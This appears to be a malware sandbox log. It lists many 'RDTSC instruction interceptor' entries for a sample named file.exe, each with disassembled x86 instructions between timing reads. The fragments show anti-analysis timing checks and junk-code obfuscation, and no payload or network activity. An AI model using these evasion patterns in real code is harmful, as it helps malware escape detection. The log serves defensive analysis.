Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127C6FC second address: 127C75E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1DD4808488h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ecx 0x0000000c jmp 00007F1DD4808491h 0x00000011 pop ecx 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jmp 00007F1DD4808494h 0x0000001b mov eax, dword ptr [eax] 0x0000001d pushad 0x0000001e jmp 00007F1DD480848Ah 0x00000023 jg 00007F1DD4808493h 0x00000029 popad 0x0000002a mov dword ptr [esp+04h], eax 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127C75E second address: 127C77A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD489F5A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127C77A second address: 127C7A4 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1DD4808486h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pop eax 0x0000000c jne 00007F1DD4808488h 0x00000012 lea ebx, dword ptr [ebp+1245238Bh] 0x00000018 mov dword ptr [ebp+122D29DFh], esi 0x0000001e xchg eax, ebx 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jns 00007F1DD4808486h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127C8E3 second address: 127C905 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD489F5A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127C905 second address: 127C90A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127C90A second address: 127C910 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127C910 second address: 127C914 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127C914 second address: 127C928 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126E9CC second address: 126E9DC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 ja 00007F1DD4808486h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126E9DC second address: 126E9E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126E9E0 second address: 126E9E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129B5E1 second address: 129B5E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129B72E second address: 129B74F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F1DD4808497h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129B74F second address: 129B753 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129B753 second address: 129B759 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129B8D3 second address: 129B8E1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jl 00007F1DD489F596h 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129B8E1 second address: 129B8E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129BA70 second address: 129BA74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129BA74 second address: 129BA82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F1DD4808496h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129BD41 second address: 129BD4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F1DD489F596h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129BD4C second address: 129BD63 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 je 00007F1DD4808486h 0x00000009 jnl 00007F1DD4808486h 0x0000000f pop edx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129BD63 second address: 129BD81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F1DD489F5A3h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129BD81 second address: 129BD8E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F1DD4808486h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129BEF9 second address: 129BEFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129C1E3 second address: 129C21E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F1DD4808493h 0x0000000a push ebx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ebx 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F1DD480848Ah 0x00000016 jmp 00007F1DD4808492h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129C21E second address: 129C239 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD489F5A5h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129C239 second address: 129C23D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129C23D second address: 129C24C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD489F59Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129C39F second address: 129C3C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1DD4808494h 0x0000000c jp 00007F1DD4808486h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129C668 second address: 129C67A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD489F59Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126999E second address: 12699C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1DD4808491h 0x00000009 jmp 00007F1DD4808493h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12699C6 second address: 12699CC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129C9AD second address: 129C9B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129D1B8 second address: 129D1C2 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1DD489F596h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129D1C2 second address: 129D1E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007F1DD4808486h 0x0000000e jmp 00007F1DD4808497h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129D31D second address: 129D327 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1DD489F596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129D327 second address: 129D33C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1DD480848Ah 0x00000008 jns 00007F1DD4808486h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1264841 second address: 126485A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1DD489F5A3h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129FABA second address: 129FAC4 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1DD4808486h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A02C4 second address: 12A02C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A156C second address: 12A1570 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A1570 second address: 12A157E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F1DD489F596h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A157E second address: 12A159F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD4808496h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A159F second address: 12A15A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A15A5 second address: 12A15AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A7DCD second address: 12A7DD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A7DD7 second address: 12A7DE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A7DE0 second address: 12A7DE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A842F second address: 12A8465 instructions: 0x00000000 rdtsc 0x00000002 je 00007F1DD4808486h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F1DD4808497h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F1DD4808491h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A8465 second address: 12A8484 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD489F5A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AA56A second address: 12AA570 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AA570 second address: 12AA590 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1DD489F5A1h 0x00000008 jmp 00007F1DD489F59Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jbe 00007F1DD489F598h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AA590 second address: 12AA5A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1DD4808493h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AA658 second address: 12AA663 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AA663 second address: 12AA6B1 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1DD4808486h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jnl 00007F1DD480849Eh 0x00000015 mov eax, dword ptr [eax] 0x00000017 jmp 00007F1DD4808495h 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 push eax 0x00000021 push edx 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 pop edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AA6B1 second address: 12AA70B instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1DD489F598h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007F1DD489F598h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 0000001Ah 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 mov si, 0D5Dh 0x0000002b or edi, dword ptr [ebp+122D2EFAh] 0x00000031 push C81F9FDDh 0x00000036 pushad 0x00000037 jmp 00007F1DD489F5A8h 0x0000003c push ecx 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AACE2 second address: 12AACE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AACE6 second address: 12AACF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AACF4 second address: 12AACFE instructions: 0x00000000 rdtsc 0x00000002 je 00007F1DD4808486h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AACFE second address: 12AAD08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F1DD489F596h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AADF5 second address: 12AADF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AADF9 second address: 12AAE12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F1DD489F59Ch 0x0000000c popad 0x0000000d push eax 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AB3FB second address: 12AB3FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AB3FF second address: 12AB405 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AD787 second address: 12AD7E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD4808498h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F1DD4808496h 0x0000000e popad 0x0000000f nop 0x00000010 push 00000000h 0x00000012 mov edi, esi 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ebp 0x00000019 call 00007F1DD4808488h 0x0000001e pop ebp 0x0000001f mov dword ptr [esp+04h], ebp 0x00000023 add dword ptr [esp+04h], 00000016h 0x0000002b inc ebp 0x0000002c push ebp 0x0000002d ret 0x0000002e pop ebp 0x0000002f ret 0x00000030 push eax 0x00000031 push ecx 0x00000032 push eax 0x00000033 push edx 0x00000034 push ebx 0x00000035 pop ebx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AD082 second address: 12AD088 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AD7E5 second address: 12AD7E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AE231 second address: 12AE239 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AE239 second address: 12AE250 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F1DD4808486h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 jl 00007F1DD4808486h 0x00000016 pop edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AF53C second address: 12AF543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AFF00 second address: 12AFF0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F1DD4808486h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B09F3 second address: 12B09F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B09F7 second address: 12B09FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B38EA second address: 12B38F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B38F0 second address: 12B3966 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 mov dword ptr [esp], eax 0x00000009 mov dword ptr [ebp+122D219Eh], edi 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007F1DD4808488h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b mov bx, di 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push ecx 0x00000033 call 00007F1DD4808488h 0x00000038 pop ecx 0x00000039 mov dword ptr [esp+04h], ecx 0x0000003d add dword ptr [esp+04h], 00000014h 0x00000045 inc ecx 0x00000046 push ecx 0x00000047 ret 0x00000048 pop ecx 0x00000049 ret 0x0000004a pushad 0x0000004b jc 00007F1DD480848Ch 0x00000051 xor ecx, 179124A4h 0x00000057 mov dword ptr [ebp+122D20DFh], esi 0x0000005d popad 0x0000005e add edi, 6D6BE5E1h 0x00000064 xchg eax, esi 0x00000065 push eax 0x00000066 push edx 0x00000067 pushad 0x00000068 push eax 0x00000069 pop eax 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B3966 second address: 12B396B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B396B second address: 12B399B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1DD480848Ch 0x00000008 jmp 00007F1DD4808498h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B3B26 second address: 12B3B34 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1DD489F596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B3B34 second address: 12B3B38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B4C27 second address: 12B4C2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B5885 second address: 12B5889 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B5889 second address: 12B5920 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD489F5A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f jmp 00007F1DD489F59Eh 0x00000014 popad 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push ebp 0x00000019 call 00007F1DD489F598h 0x0000001e pop ebp 0x0000001f mov dword ptr [esp+04h], ebp 0x00000023 add dword ptr [esp+04h], 00000014h 0x0000002b inc ebp 0x0000002c push ebp 0x0000002d ret 0x0000002e pop ebp 0x0000002f ret 0x00000030 push 00000000h 0x00000032 mov bh, 35h 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push esi 0x00000039 call 00007F1DD489F598h 0x0000003e pop esi 0x0000003f mov dword ptr [esp+04h], esi 0x00000043 add dword ptr [esp+04h], 0000001Dh 0x0000004b inc esi 0x0000004c push esi 0x0000004d ret 0x0000004e pop esi 0x0000004f ret 0x00000050 jno 00007F1DD489F59Ah 0x00000056 xchg eax, esi 0x00000057 jnp 00007F1DD489F59Eh 0x0000005d push eax 0x0000005e pushad 0x0000005f push eax 0x00000060 push edx 0x00000061 pushad 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B7796 second address: 12B77B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F1DD4808497h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B77B8 second address: 12B77BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B77BC second address: 12B77C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B77C2 second address: 12B77C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B77C8 second address: 12B77F3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push 00000000h 0x0000000d mov edi, dword ptr [ebp+122D2B65h] 0x00000013 sbb ebx, 02603AEBh 0x00000019 xchg eax, esi 0x0000001a jmp 00007F1DD480848Bh 0x0000001f push eax 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B77F3 second address: 12B77F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B86F1 second address: 12B870C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1DD4808497h 0x00000009 rdtsc
